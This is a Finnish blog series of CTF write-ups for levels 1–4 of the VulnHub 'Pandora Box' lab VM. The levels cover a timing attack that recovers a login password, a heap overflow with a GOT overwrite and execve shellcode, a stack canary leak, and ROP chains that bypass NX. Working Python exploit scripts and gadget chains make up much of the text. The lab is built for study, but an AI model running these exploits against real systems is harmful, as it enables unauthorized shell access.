Pandora Box – Taso 4

Tällä kertaa haasteena olisi salauksen purkamiseen tehty ohjelma. Ainoa tieto mikä annetaan on seuraava readme.

level3@pb0x:~$ cat level4_readme.txt 
This level comes with a example file 'cryptocon.bin' and password 'p4ssw0rd'.

Ohjelma itsessään toimii näin.

level3@pb0x:~$ ./level4
-= CryptoMessage decrypter =-
Usage: ./level4  

level3@pb0x:~$ ./level4 cryptocon.bin p4ssw0rd
Message: 
Hello there,

You badass hacker! This is secure secret message!

level3@pb0x:~$ ./level4 level4_readme.txt p4ssw0rd
Error: Invalid or corrupted file

Jollain tavalla ennen purkamista tarkistetaan, että salattu tiedosto on validi. Joten tämä oikeastaan jättää meille vain yhden vaihtoehdon, meidän tarvitsee selvittää miten itse salausalgoritmi toimii. Ennen binäärin disassemblaamista katsotaan kuitenkin mitä itse binääri paljastaa itsestään.

level3@pb0x:~$ file level4
level4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0xbad0e4b6347152264cd48749f5653bd33e0e9531, not stripped

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

IDA auki ja tutkimaan. Homma valkenee siten, että salaus on symmetterin ja perustuu XORaukseen.  Eli hyvin perinteinen ja yksinkertainen. Seuraavana on reverse engineerattu tärkeimät funktiot.

typedef struct {
  int length;
  char* data;
} FileData

int decrypt_file(char *filename, char *password)
{
  char decryptedMessage; // [sp+10h] [bp-1018h]@11
  char *v4; // [sp+1010h] [bp-18h]@11
  char *encryptedData; // [sp+1014h] [bp-14h]@7
  unsigned int encryptedDataLength; // [sp+1018h] [bp-10h]@7
  char *data; // [sp+101Ch] [bp-Ch]@7

  if ( !*password || strlen(password) > 16 )
  {
    puts("Error: Invalid password length");
    return 0;
  }

  FilelData* fileData = read_file(filename);
  if ( !fileData )
  {
    puts("Error: Failed to open file");
    return 0;
  }

  if ( fileData->length > 9 )
  {
    data = (char *)fileData->data;
    encryptedDataLength = fileData->length - 4;
    encryptedData = (char *)(fileData->data + 4);

    if ( get_checksum(encryptedData, encryptedDataLength) != *(unsigned int *)data )
    {
      puts("Error: Invalid or corrupted file");
      free_Filedata(fileData);
      return 0;
    }

    xcrypt(encryptedData, encryptedDataLength, password);

    encryptedDataLength -= 4;
    encryptedData += 4;

    if ( get_checksum(encryptedData, encryptedDataLength) != *((unsigned int *)data + 1) )
    {
      puts("Error: File data corrupted, bad password maybe?");
      free_Filedata(fileData);
      return 0;
    }

    v4 = encryptedData;
    bzero(&decryptedMessage, 4096);
    memcpy(&decryptedMessage, encryptedData + 2, *(short *)v4);

    printf("Message: %s\n", &decryptedMessage);
  }

  free_Filedata(fileData);
  return 0;
}

unsigned int get_checksum(char *data, unsigned int length)
{
  unsigned int chcks; // [sp+14h] [bp-Ch]@1
  signed int j; // [sp+18h] [bp-8h]@2
  unsigned int i; // [sp+1Ch] [bp-4h]@1

  i = 0;
  chcks = -1;
  while ( i < length )
  {
    chcks ^= (uint8_t)data[i];
    for ( j = 7; j >= 0; --j )
      chcks = (chcks >> 1) ^ -(chcks & 1) & 0xEDB88320;
    ++i;
  }

  return ~chcks;
}

unsigned int xcrypt(char *encryptedData, unsigned int length, char *password)
{
  unsigned int result; // eax@3
  unsigned int passwordLength; // [sp+18h] [bp-10h]@1
  unsigned int i; // [sp+1Ch] [bp-Ch]@1

  passwordLength = strlen(password);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= length )
      break;
    encryptedData[i] ^= password[i % passwordLength] ^ (uint8_t)i;
  }

  return result;
}

Kokonaisuudessaan salauksen purkaminen/rakenne on seuraava:

  1. Luetaan tiedosto muistiin
  2. Ensimmäiset 4 tavua sisältävät datan tarkistussumman
  3. Lasketaan tarkistussumma loppuosasta
  4. Puretaan salaus
  5. Puretusta datasta 4 ensimmäistä tavua sisältää puretun datan loppuosan tarkistussumman
  6. Seuraavat 2 tavua kertovat viestin pituuden
  7. Loppuosa on varsinainen purettu viesti

Koodista paljastuu myös eräs tärkeä seikka. Puretulle viestille on vain varattu 4096 tavun bufferi, mutta siihen kopioidaan koko roska. Vaikka se olisikin pidempi. Ajaij.

Toteutetaan vastaava salausalgoritmi Pythonilla ja koitetaan saada asiat sekaisin. Tuttuun tapaan generoidaan pedalla syötepatterni, joka on yli tuon 4096:den ja salataan se. Nyt koitetaas purkaa tämä tiedosto!

Yllätyyys! Eli offsetilla 4124 kirjoitamme funktion paluuosoitteen yli. Enää tarvitsee kasata  vain shellcode. Koska NX-bitti on jälleen käännetty epäsuotuisaan asentoon, joten aika jälleen ROPetella.

Jotta tämä osuus ei aina vain olisi kasa jänniä heksanumeroita, niin voisin koittaa avata asioita vähän tarkemmin.

Ensinäkin shellcoden tarkoitus on nimensä mukaan koodin pätkä, joka yleensä pyrkii avaamaan komentorivin hyökkääjälle. Tapoja on monia ja jokainen tilanne on erilainen, mutta yksi yleisin tapa on koittaa kutsua:

sys_execve("/bin/sh", 0, 0);

Assemblyna sama näyttäisi jotakuinkin tältä (alustana 32-bit linux):

section     .text

    global main
    main:

        mov     edx, 0      ; evp argument
        mov     ecx, 0      ; args argument
        mov     ebx, cmd    ; filename argument
        mov     eax, 0x0b   ; sys_execve system call number
        int     0x80        ; system call

section     .data

    cmd     db '/bin/sh', 0x00 

Nykyaikaisilla suojausmekanismeillä emme kuitenkaan suoraa pysty tälläistä suorittamaan. Pitää pyrkiä saamaan sama vaikutus, mutta ehkä hiukan monimutkaisemmin.

Koska NX-bitti estää meitä suorittamasta omaa koodia, niin joudumme käyttämään hyväksi jo olemassa olevaa koodia. Koska pystymme kontrolloimaan stackia, niin koitamme löytää koodista haluamme komennot/komennon juuri ennen ret komentoa. Jolloin pystymme ketjuttamaan näitä ja saamaan aikaiseksi haluamme toiminnon.

Näiden gadgettien löytämiseen hyvä työkalu on ROPME.

Ensiksi meidän pitäisi saada merkkijono /bin/sh johonkin päin muistia. Tällä kertaa emme tiedä stackin sijaintia. Voimme kuitenkin kirjoittaa sen vaikka bss-osioon. Voimme ajatella, että kyseinen merkkijono koostuu kahdesta palasta: /bin ja /sh\x00. Molemmat ovat 4 tavua pitkiä. Eli vievät näppärästi yhden 32-bittisen kokonaisluvun verran tilaa. Nämähän voimme siirtää mov komennolla helposti muistiin.

Tähän tehtävään varteenotettava vaihtoehto on:

> 0x08062968 : mov [eax], edx; pop ebx; pop ebp; ret

Tässä kuitenkin on muutama ylimääräinen pop komento, jotka täytyy ottaa huomioon.

Nyt kuitenkin tarvisimme eax rekisteriin muistiosoitteen mihin merkkijonon osa tallennetaan ja edx rekisteriin itse merkkijonon puolikkaan. Tähän onneksi löytyy lähes aina pop-gadgetit.

> 0x080a8326 : pop eax; ret
> 0x08058386 : pop edx; ret

Eli ensimmäinen osiomme shellcode näyttäisti tältä.

shellcode += struct.pack("<I", 0x08058386) # pop edx; ret
shellcode += "/bin"
shellcode += struct.pack("<I", 0x080a8326) # pop eax; ret
shellcode += struct.pack("<I", 0x080cb000) # address where saving /bin
shellcode += struct.pack("<I", 0x08062968) # mov [eax], edx; pop ebx; pop ebp; ret
shellcode += "BBBB"*2

shellcode += struct.pack("<I", 0x08058386) # pop edx; ret
shellcode += "/sh\x00"
shellcode += struct.pack("<I", 0x080a8326) # pop eax; ret
shellcode += struct.pack("<I", 0x080cb004) # address where saving /sh\x00
shellcode += struct.pack("<I", 0x08062968) # mov [eax], edx; pop ebx; pop ebp; ret
shellcode += "CCCC"*2

Nyt muistista löytyy tarvittava merkkijono ja enää tarvitsee vain siirtää rekistereihin oikeat parametrit ja kutsua funktiota.

Tarvittavat gadgetit:

> 0x080a8326 : pop eax; ret
> 0x080583ad : pop ecx; pop ebx; ret
> 0x08058386 : pop edx; ret

Näiden avulla pystymme asettamaan parametrit paikoilleen.

shellcode += struct.pack("<I", 0x080a8326) # pop eax; ret
shellcode += struct.pack("<I", 0x0b)	   # sys_execve

shellcode += struct.pack("<I", 0x080583ad) # pop ecx; pop ebx; ret
shellcode += struct.pack("<I", 0x0)        # argv
shellcode += struct.pack("<I", 0x080cb000) # filename

shellcode += struct.pack("<I", 0x08058386) # pop edx; ret
shellcode += struct.pack("<I", 0x0)        # envp

Lopuksi tarvitsee enää vain luoda keskeytys.

shellcode += struct.pack("<I", 0x08058ab0) # int 80h

Näin olemme luoneet shellcoden käyttäen ROP-tekniikkaa hyödyksi ohittaessa NX-bitin.

level3@pb0x:~$ ./level4 own.bin p4ssw0rd
Message: AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
....
BBBBBBBBBBBBBBBBBBBBBBBBBBBBB?/bin&?

$ whoami
level4

Koko toteutus löytyy kokonaisuudessaan täältä. Seuraavaksi vuorossa olisikin jo viimeinen kierros.

Posted in Jotain aivan muuta | Tagged , , , , , | Leave a comment

Pandora Box – Taso 3

Tällä kertaa voitettavana olisi peli, jossa pitäisi arvata numero oikein maksimissaan seitsemällä arvauksella.

############################
# Random number game - 1.0 #
############################
guess the number between 0 and 40, type exit to close
guess: 4
Your guess 4 is to low
guess: 5
Your guess 5 is to low
guess: 1
Your guess 1 is to low
guess: 0
Your guess 0 is to low
guess: 3
Your guess 3 is to low
guess: 2
Your guess 2 is to low
guess: -1
Your guess -1 is to low
You lose!
Thank you for playing, Goodbye

Katsotaan kuitenkin ensiksi mitä meillä on vastassa.

level2@pb0x:~$ file level3
level3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x68fd6bc2dba0dd5309a628e7b6db049e59cc6e86, not stripped

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Jälleen kerran NX-bitti on päällä. Joten suoraa emme pysty omaa koodia ajamaan. Tämän lisäksi käytössä on myös stackin canary muuttuja, jonka tarkoitus on huomata mahdolliset pinon ylikirjoitukset. Näiden lisäksi ASLR on tietysti myös käytössä.

Koitetaampa saada asiat sekaisin. ‘Arvataan’ 1024 merkin pituisella merkkijonolla. Tämä ei ainakaan heti kaatanut softaa. Sillä arvailua pystyi jatkamaan. Kuitenkin kun arvaukset loppui tai ohjelmasta poistui, niin ohjelman suoritus keskeytyi. Sillä pinon canary muuttuja oli ylikirjoitettu.

Nämähän toimivat seuraavalla periaatteella.

void f(int arg1, int arg2) 
{
	char buf[50];
	int canary = get_canary();

	....


	if (canary != get_canary())
		err..

	return;
}

Käytännössä pinossa on alinmaisena canary muuttuja, joka saa satunnaisen arvon. Mikäli funktion suorituksen aikana tapahtuu mahdollinen muistin ylikirjoitus, niin samalla ylikirjoitetaan myös canary muuttuja. Ennen funktiosta poistumista tarkistetaan, että canaryn arvo on sama, mikä sille alussa asettiin. Arvon poiketessa on tapahtunut ylikirjoitus ja ohjelman suoritus keskeytetään.

Tämä mutkistaa asioita jonkin verran, kun emme voi suoraa kirjoittaa funktion paluuosoitetta yli. Ensiksi tulee saada jotenkin selville canaryn arvo. Onneksi tämä pysyy kuitenkin koko ohjelman suorituksen aikana samana. Jolloin kertaselvitys riittää.

Avataan ohjelma jälleen IDA:lla ja aletaan etsimään syytä ylhäällä esiintyneelle ylikirjoitukselle. Suuria salapoliisitaitoja ei vaadita, sillä vika löytyy yllättävän nopeasti. Ohjelma varaa 512 tavun bufferin luettavalla merkkijonolle, mutta itse lukufunktio lukee tuplasti. Aijaij.

void stripnewline(char *buffer)
{
	char* pos;

	pos = strchr(buffer, 10);
	if ( pos )
		*pos = 0;

	pos = strchr(buffer, 13);
	if ( pos )
		*pos = 0;
}

Nyt tiedämme, että pystymme kirjoittamaan 1024 tavua, joista 512 menee bufferin yli. Jotta tätä päästäisiin hyödyntämään, niin tarviimme sen canaryn. Sattumalta bufferi on muistissa juuri ennen canarya. Ehkä pystymme tulostamaan sen vastaavalla tavalla kuin tasolla 2. Tällä kertaa kuitenkin luetun merkkijonon perään laitetaan nollatavu tai oikeastaan ensimmäinen rivinvaihto korvataan nollalla.

void stripnewline(char *buffer)
{
	char* pos;

	pos = strchr(buffer, 10);
	if ( pos )
		*pos = 0;

	pos = strchr(buffer, 13);
	if ( pos )
		*pos = 0;
}
}

Mutta tässä ei ole nyt otettu ihan kaikkea huomioon, on olemassa muitakin merkkejä kuin vain rivinvaihto, jotka lopettavat lukemisen. Kuten 0x03 (end of text). Mikäli syötetty merkkijono päätetään tällä merkillä, niin luettuun bufferiin ei aseteta nollatavua. Jeij.

print("[*] Leak stack canary")
s.send("A"*(511 + 1)+"\x03")

r = s.recv(1024)
canary = "\x00"+r[524:527]
print("[*] Founded canary: %s" % hex(struct.unpack("I", canary)[0]))

Syytä huomioida, että canary on yleisesti ottaen vain 24-bittinen.

[*] Leak stack canary
[*] Founded canary: 0x6a4a8500

Samaa tekniikkaa käyttäen pystymme myös selvittämään stackin sijainnin. Sillä pinossa on myös kutsuneen funktion EBP arvo.

print("[*] Leak stack position")
s.send("A"*(511 + 12)+"\x03")

r = s.recv(1024)
stack = r[535:539]
stack = struct.unpack("I", r[535:539])[0] - 588
print("[*] Stack: %s" % hex(stack))

Koska NX-bitti estää koodin suorittamisen pinosta suoraan, niin meidän pitää olla hiukan luovia. ROP on tekniikka, jossa muistialueista joilla on suoritusoikeus etsitään sopivia paloja, joista koostetaan varsinainen shellcode. Koska kyseessä on staattisesti linkattu ohjelma, niin suoritettavaa binääriä on ‘erityisen’ paljon. Vaikka suurinta osaa siitä ei koskaan tarvita.

Käytännössä tämä tarkoittaa sitä, että etsimme binääristä esim. seuraavat kohdat.

0x01010101:
pop eax;
ret;

0x02020202:
mov ebx, eax;
ret;

Nyt jos ylikirjoitamme pinossa olevan paluuosoitteen päälle 0x01010101 ja heti perään luvut 0xABABABAB ja 0x02020202, niin saamme muokattua ohjelman kulkua siten, että funktion loputtua hyppäämme muistiosoitteeseen 0x01010101, missä siiretään pinosta seuraaava arvo (0xABABABAB) rekisteriin eax. Tämän jälkeen ret komento ‘palaa’ osoitteeseen, joka on seuraavana pinossa. Eli ohjelman suoritus siirtyy paikkaan 0x02020202, jossa äskön pinosta otettu arvo siirretään rekisteriin ebx.

Näin olemme ohittaneet NX-bitin aiheuttamat estot. ROP gadgettien etsimiseen on olemassa useita näppäriä apuvälineitä. Nyt voimme rakentaa itse shellcoden, joka on yksinkertaisuudessa sys_execve(“/bin/sh”, 0, 0) kutsu.

print("[*] Write shellcode")
payload = "exit\x00/bin/sh\x00"
payload += "A"*(512 - len(payload))

payload += canary

payload += "B"*8
payload += struct.pack("<I", stack + 588) # old ebp
payload += struct.pack("<I",  0x080540cd) # pop ecx; pop ebx; ret;
payload += "\x00"*4
payload += struct.pack("<I", stack + 5)  # address of /bin/sh
payload += struct.pack("<I", 0x080540a6) # pop edx; ret;
payload += "\x00"*4
payload += struct.pack("<I", 0x080a87d6) # pop eax; ret;
payload += "\x0b\x00\x00\x00"
payload += struct.pack("<I", 0x08053ED2) # int 0x80

payload += "\x03"
$ python exploit.py 
[*] Init
[*] Leak stack canary
[*] Founded canary: 0x6a4a8500
[*] Leak stack position
[*] Stack: 0xbfc8c34c
[*] Write shellcode
[*] Drop the bomb
0wn3d

$ whoami
level3

$ ls /home/level3 
cryptocon.bin
level4
level4_readme.txt

Skripti kokonaisuudessaan löytyy täältä. Ensi kerralla luvassa näyttää olevan jonkinlainen salauksen purkusofta! Siitä sitten toiste.

Posted in Jotain aivan muuta | Tagged , , , , | Leave a comment

Pandora Box – Taso 2

Taso1 > Pandora Box – Taso 1

Toisen tason readme:ssa lukee seuraavasti

Start this level with socat ‘socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2’ and use netcat or whatever to communicate with it.

Joten ajetaan komento ja nyt portista 53121 löytyy “Notes manager – 1.0”. Ohjelmalla pystyy luomaan/muokkaamaan/poistamaan 10 kpl muistiinpanoja.

$ nc 192.168.1.104 53121
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): ASD
[*] Note 0 set
> show
> id: 0
[*] Note 0 text: ASD
> del
> id: 0
[*] Note 0 deleted
> 

Tutkitaan aluksi hiukan level2 tiedostoa.

level1@pb0x:~$ ls -l level2
-rwsr-xr-x 1 level2 level1 9052 Jan  4 08:58 level2

level1@pb0x:~$ file level2
level2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x6dc7e1ac89e9ffa9f40010d2823f76b6221e6448, not stripped

Tiedoston omistaja on level2 ja kyseessä on dynaamisesti linkitetty binääri. Eli löytämällä tästä softasta jonkinlainen haavoittuvuus, joka mahdollistaisi oman koodin ajamisen, niin saisimme level2:sen oikeuksilla komentorivin auki. Koitetaampa saada softa kaatumaan. Hyvänä lähtökohtana näyttäisi olevan tekstin tallennus. Koska sille sanotaan maksipituudeksi 32.

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[*] Note 0 set
> 

Nyt jos koitamme näyttää note 1:sen, niin saamme aikaan segmentation faultin.

Nähtävästi tulimme ylikirjoittaneen muistiinpanon tekstiin viittaavan pointterin. Huomataan myös, että osoitin sijaitsee 76 tavun päässä tekstin aloituskohdasta. Avataanpa binääri disassemblerissa ja koetetaan ottaa selvää, mitä siellä oikein tapahtuu. Ensiksi olisi hyvä selvittää miten muistiinpanot on oikein tallennettu. Tähän antaa vastauksen ceate_struct metodi, jonka toteutus näyttää seuraavalta.

Muistiinpanot varataan dynaamisesti ja toinen jännyys on mprotect kutsu, jolla muutetaan muistin ajo- ja muokkausoikeuksia. Tämä käännettynä C:lle näyttäisi jotakuinkin seuraavalta.

typedef struct {
    int len;
    char* text;
} Note;

Note *create_struct()
{
    Note *note = malloc(8);
    note->len = 64;
    note->text = malloc(64);
    mprotect(note->text & 0xfffff000, note->len, PROT_READ |
                                                 PROT_WRITE |
                                                 PROT_EXEC
             );
    return note;
}

Note struktuuri pitää sisällään tekstin pituuden ja osoittimen itse tekstiin. Itse tekstille varataan 64 tavua muistia. Varatulle muistille asetetaan vielä suoritusoikeudet. Tämäpä ystävällistä.

Jos vielä tutkimme osuutta, missä muistiinpanoon asetetaan syötetty teksti, niin löydämme syyn kaatumiselle. Assemblyn näyttäminen tässä on turhaa, mutta C:nä se näyttäisi jotakuinkin tältä.

else if ( !strcmp(&text, "set") )
{
  readline(&text, 128, "> id: ", 10);
  slotNum = strtol(&text, 0, 10);
  if ( slot_exists(notes, slotNum) == 1 )
  {
    readline(&text, 128, "> text(32 max): ", 0);
    Note *note = notes[slotNum];
    note->len = strlen(&text);
    memcpy(note->text, &text, note->len);

    printf("[*] Note %d set\n", slotNum);
  }
  else
  {
    printf("[!] Note id %d doesnt exist\n", slotNum);
  }
}

Readline lukee 128 maksimissaan tavua ja tämä sitten kopioidaan muistiinpanon tekstiksi. Eli pystymme kirjoittamaan 64 tavua tekstille varatun muistialueen yli. Kun muistiinpanot luodaan perätysten, niin ne myös sijoittuvat muistiin toistensa perään.

Mutta miksi offset oli sitten 76, jos kerran 64 tavun tekstiosuuden jälkeen tulee yksi 4 tavun kokonaisluku ja sen jälkeen jo osoitin seuraavaan tekstiin. Tällöinhän offsetin pitäisi olla 68. Seuraava kuva koittaa havainnollistaa tätä.

Tässä pitää tietää kuinka malloc varaa muistia. Varatun alueen alussa on aina niin kutsuttu malloc chunk, joka on tässä tapauksessa kooltaan 8 tavua. Joten oikeasti tilanne on seuraava ja 76 offset selittyy täysin järkevästi.
Blank Flowchart - New Page-3

 

Nyt meillä on selvillä muistirakenne ja se, että pystymme ajamaan omaa koodia tältä alueelta. Emme kuitenkaan pysty vielä mitenkään hyppäämään tähän omaan koodiin. Meillä ei ole edes tiedossa missä osoitteessa syöttämämme haitallinen koodipätkä on. Sillä ASLR sijoittaa jokaisella suorituskerralla ohjelman eri osiot eri kohtiin muistiavaruutta.

Pystymme kuitenkin selvittämään, missä osoitteessa tekstialue sijaitsee. Sillä jos kirjoitamme tasan 76 tavun tekstin muistiinpanoon, niin tekstin tulostusvaiheessa myös seuraavan tekstin osoittimen arvo tulee mukaan, sillä seuraava 0-tavu tulee vasta tämän jälkeen.

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
[*] Note 0 set
> show
> id: 0
[*] Note 0 text: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAep??	
>  

Kuten näkyy, niin tekstin perään tulostuu myös ‘roskaa’, joka tässä tapauksessa on note 1:sen tekstin muistiosoite. Nyt kun tiedossa on muistiinpanojen tarkka rakenne ja tämä osoite, niin pystymme helposti laskemaan mikä tahansa kohta muistiinpanoille varatulta alueelta.

Edelleenkään emme pysty hyppäämään  tuonne alueelle, että voisimme suorittaa omaa koodia. Koska ohjelma on dynaamisesti linkitetty, niin se sisältää niin kutsutun Global offset Table (GOT)  osion, missä pidetään kirjaa linkitettyjen kirjastojen funktioiden oikeista osoitteista. Tähän osioon pitää kuitenkin olla kirjoitusoikeudet, joka tarkoittaa myös sitä, että voimme ylikirjoittaa sieltä vaikka esim. printf tai free metodin osoitteen. Näin ollen seuraavan kerran, kun tätä metodia kutsutaan, niiin siirtyy ohjelman suoritus meidän haluamaamme sijaintiin. Aiheesta lisää mm. täältä.

Ensiksi pitää selvittää missä kohtaa GOT sijaitsee. Tämä onnistuu helpoitin objdump:lla.

level1@pb0x:~$ objdump --dynamic-reloc level2 |grep free
0x0804a378 R_386_JUMP_SLOT   free

Joten free metodin oikea osoite löytyy paikasta 0x0804a378. Tämän voimme ylikirjoittaa, kun ensiksi ylikirjoitamme muistiinpanon tekstiin osoittavan osoittimen arvon ja sitten kirjoitamme tähän “muistiinpanoon”.

Nyt meillä alkaa olemaan kaikki palaset kohdallaan exploittaamista varten.

  1. Selvitetään muistialue, missä muistiinpanot sijaitsevat
  2. Ylikirjoitetaan note 1 osoittamaan osoitteeseen free@GOT
  3. Ylikirjoitetaan free metodin sijainti osoittamaan note 0:llaan.
  4. Kirjoitetaan note 0:naan shellcode
  5. Poistetaan note 0, jolloin siirymme suorittamaan kyseisen shellcoden
  6. PROFIT!

Teoriasta käytäntöön. Ensiksi alustellaan yhteydet ja tehdään elämää helpottava apumetodi softalle juttelua varten.

import socket
import struct

IP="192.168.1.104"
PORT=53121

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))

def run(data, result=None):
    if data:
        s.send(data+"\n")

    while result and not result in s.recv(1024):
        pass

print("[*] Init")
run(None, "> ")

print("[*] Creating two notes")
run("new", "> ")
run("new", "> ")

Selvitetään note 0:llan osoite. Osoite löytyy kun tullaan note 1:sen osoittimesta 88 askelta taaksepäin. -chunk (8)  – *text(4) – len(4) –  chunk (8) – text(64) = -88.

def resolve_address():
    data = s.recv(1024)
    return struct.unpack("I", data[93:97])[0] - 88

print("[*] Leaking heap location")
payload = "A"*76

run("set", "> id: ")
run("0", "> text(32 max): ")
run(payload, "> ")

run("show", "> id: ")
run("0")

address = resolve_address()
print("[*] Address founded: %s" % hex(address))

Nyt kirjoitamme free metodin osoittamaan note 0:llaan.

print("[*] Overwrite free@GOT")
payload = "A"*76 + struct.pack("<I", 0x0804a378)
location = struct.pack("<I", address)

run("set", "> id: ")
run("0", "> text(32 max): ")
run(payload, "> ")
run("set", "> id: ")
run("1", "> text(32 max): ")
run(location, "> ")

Lopuksi vielä valmis shellcode paikalleen ja boom. Tämä käytännössä suorittaa execve:n parametrilla /bin/sh. Boom.

print("[*] Write shellcode")
shellcode = '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

run("set", "> id: ")
run("0", "> text(32 max): ")
run(shellcode, "> ")

run("del", "> id: ")
run("0")

run("echo [*] 0wn3d!")

while True:
    print(s.recv(2048))
    d = raw_input("$ ")
    s.send(d+"\n")

Koko roska löytyy jälleen kerran GitHub:sta.

$ python leak_heap.py 
[*] Init
[*] Creating two notes
[*] Leaking heap location
[*] Address founded: 0x83f4018
[*] Overwrite free@GOT
[*] Write shellcode
[*] 0wn3d!

$ whoami
level2

$ 
Posted in Jotain aivan muuta | Tagged , , , | Leave a comment

Pandora Box – Taso 1

VulnHub tarjoaa exploit ja reverse engineering käyttöön valmiita virtuaalikoneimageja CTF perjaatteella, joiden avulla voi tuhlata omaa aikaansa yrittämällä päästä niihin sisään. Joten

Pandora Box on c0ne:n tekemä virtuaalikone, joka sisältää 5 eri tasoa. Nämä kaikki tasot ratkomalla ‘lipas’ vihdoinkin aukeaa. Jotta elämä ei olisi niin helppoa, käytössä on kaikki nykyaikaiset suojaukset, joita nykyiset käyttöjärjestelmät ja suorittimet tukee. Eli asioita hankaloittavat ainakin seuraavat asiat ASLR, DEP ja Canary.

Aloitetaan skannaamalla aukinaiset portit. Sillä verkkoyhteys on ainoa rajapinta koneeseen, mikä meillä on käytettävissä

$ nmap -p- 192.168.1.104
Starting Nmap 6.46 ( http://nmap.org ) at 2015-06-25 17:19 EEST
Nmap scan report for 192.168.1.104
Host is up (0.00046s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
54311/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

Ei niinkään yllätys, että ssh on auki, mutta portti 54311 onkin sitten asia erikseen. Kyseisen portin takaa löytyykin “Secure Remote Shell”, joka varmasti on erittäin turvallinen!

$ nc 192.168.1.104 54311
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password: 

Tämä on kuitenkin vasta ensimmäinen taso, joten kokeillaan onnea ja testataan muutamaa eri sanakirjahyökkäystä. Yllättäen näiden avulla ei sisään päästä, joten jotain muuta pitää keksiä. Seuraavaksi mieleen juolahti kokeilla aiheuttaako liian pitkä syöte jonkinasteisen muistiylivuodon.

Password: AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAd
AA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAA
RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A
%nA%CA%A(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%
gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA
%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAsAs(AsDAs;As)AsEAsaA
s0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: Invalid password!
Password: 

Ei aiheuta, mutta salasanalla näyttäisi olevan maksimipituus. Sillä jos syöte on yli 64 merkkiä pitkä, niin yli menevä osuus näytettäisiin käsittelevän omana yrityksenä. Syötteet joissa on “epäkivoja” merkkejä, kuten rivinvaihto tai 0-tavu eivät myöskään aiheuttaneet mitään ongelmaa.

Mikään ei oikein tuntunut tepsivän. Yhdessä vaiheessa kuitenkin silmiin pisti sellainen huomio, että pitkällä syötteellä vastauksen saaminen kesti pidempään. Tästä muistui mieleen eräs lukemani julkaisu, jossa Smartcardeja vastaan hyökättiin timing attack:lla. Mikäli salasanan tarkistaminen ei ole vakioaikainen operaatio, niin suoritusaikoja tarkisteleminen eri syötteillä mahdollisesti voi vuotaa tietoja. Joten tein skriptin, joka kokeilee kirjautua sisään yksittäisellä merkillä ja samalla mittaa vastauksen saapumiseen kuluneen ajan.

a: 0.005430
b: 0.005628
c: 0.005343
d: 0.005462
...
Q: 0.005380
R: 0.001458
S: 0.006276
...
8: 0.006205
9: 0.006139

Aluksi suhtauduin kyllä ideaan varsin skeptisesti, mutta hämmästys oli suuri. Kaikki muut kirjaimet näyttävät ottavan yhtä paljon aikaa, mutta kirjaimella R suoritus on huomattavasti nopeampi. Nyt voisimme päätellä, että ensimmäinen merkki salasanassa on R. Jatketaan seuraavan kirjaimen kohdalla samalla tavalla jne. Kokeillaan seuraavaksi toimisiko sama käytännössä. Tehdään skripti, joka koittaa selvittää salasanaa kyseisellä tavalla.

$ python timing_attack.py 
[*] Connected and start a timing attack
Leaked: R
Leaked: R3
Leaked: R3s
Leaked: R3sp
Leaked: R3sp3
Leaked: R3sp3c
Leaked: R3sp3ct
Leaked: R3sp3ctY
Leaked: R3sp3ctY0
Leaked: R3sp3ctY04
Leaked: R3sp3ctY04r
Leaked: R3sp3ctY04r4
Leaked: R3sp3ctY04r4d
Leaked: R3sp3ctY04r4dm
Leaked: R3sp3ctY04r4dm1
Leaked: R3sp3ctY04r4dm1n
Leaked: R3sp3ctY04r4dm1ni
